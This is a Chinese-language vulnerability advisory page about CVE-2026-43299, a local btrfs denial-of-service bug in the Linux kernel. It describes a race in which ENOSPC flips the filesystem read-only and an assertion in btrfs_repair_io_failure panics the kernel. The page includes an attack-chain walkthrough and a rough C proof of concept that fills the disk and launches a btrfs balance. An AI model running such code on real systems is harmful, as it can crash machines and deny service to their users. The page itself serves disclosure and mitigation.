IPBUF安全漏洞报告
English
CVE-2026-43299 CVSS 5.5 中危

CVE-2026-43299 Linux内核Btrfs拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43299
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelBtrfsDoSCVE-2026-43299Kernel PanicRace Condition

漏洞概述

Linux内核中的btrfs文件系统存在一个拒绝服务漏洞。当btrfs在关键路径遇到ENOSPC(无空间)错误时,会将文件系统切换为只读模式。若此时存在待处理的读取修复操作,btrfs_repair_io_failure函数中的断言会检测到只读状态并触发内核崩溃,导致系统拒绝服务。

技术细节

该漏洞源于Linux内核fs/btrfs/bio.c模块中的逻辑缺陷。在特定场景下,如测试用例btrfs/124,当元数据被过度提交且无法正确满足分配请求时,btrfs会触发ENOSPC错误。为了保护数据一致性,内核会中止当前事务并将超级块标记为只读(SB_RDONLY)。然而,btrfs_repair_io_failure函数内部包含一个断言(ASSERT),强制要求文件系统不得为只读状态。竞态窗口出现在文件系统因ENOSPC转为只读的同时,若有IO读取修复请求正在执行,该断言将失败。这会导致内核触发kernel BUG并发生崩溃,从而造成拒绝服务。攻击者可通过触发磁盘空间耗尽并伴随IO错误来利用此漏洞。

攻击链分析

STEP 1
1. 触发空间耗尽
攻击者或进程在btrfs文件系统上进行大量写入操作,耗尽元数据空间,触发ENOSPC错误。
STEP 2
2. 文件系统只读切换
内核检测到ENOSPC错误,为了保护数据,中止事务并将文件系统超级块标记为只读(SB_RDONLY)。
STEP 3
3. 触发IO读取修复
在文件系统切换为只读的瞬间,如果有待处理的读取修复请求(例如由于磁盘错误导致的修复),系统调用btrfs_repair_io_failure。
STEP 4
4. 触发断言失败
btrfs_repair_io_failure函数检测到文件系统为只读状态,触发ASSERT()断言失败,导致内核崩溃(Kernel Panic)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43299 * This C code attempts to reproduce the race condition in btrfs. * It fills the disk to trigger ENOSPC and then attempts to induce * read repair operations, which may trigger the ASSERT() if the fs flips RO. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define CHUNK_SIZE (4096 * 1024) // 4MB int main() { int fd; char *buffer; ssize_t ret; buffer = malloc(CHUNK_SIZE); if (!buffer) { perror("malloc"); return 1; } printf("[+] Opening target file on btrfs mount...\n"); fd = open("/mnt/btrfs/poc_testfile", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); free(buffer); return 1; } printf("[+] Writing data to trigger ENOSPC...\n"); while (1) { ret = write(fd, buffer, CHUNK_SIZE); if (ret < 0) { if (errno == ENOSPC) { printf("[!] ENOSPC hit. Filesystem might flip RO now.\n"); break; } perror("write"); break; } } close(fd); // In a real exploit, one would need to trigger metadata operations // (like balance or snapshot) and corruption/repair simultaneously. printf("[+] Triggering metadata operations to stress the path...\n"); system("btrfs balance start -dusage=75 /mnt/btrfs 2>/dev/null &"); printf("[*] If conditions are met, kernel panic should occur in btrfs_repair_io_failure.\n"); free(buffer); return 0; }

影响范围

Linux Kernel < 6.19.0-rc6
Linux Kernel (Stable versions prior to fix commit 8ceaad6cd6e7)

防御指南

临时缓解措施
监控btrfs文件系统的磁盘空间使用情况,避免元数据空间完全耗尽;限制非特权用户对磁盘资源的写入以降低触发风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表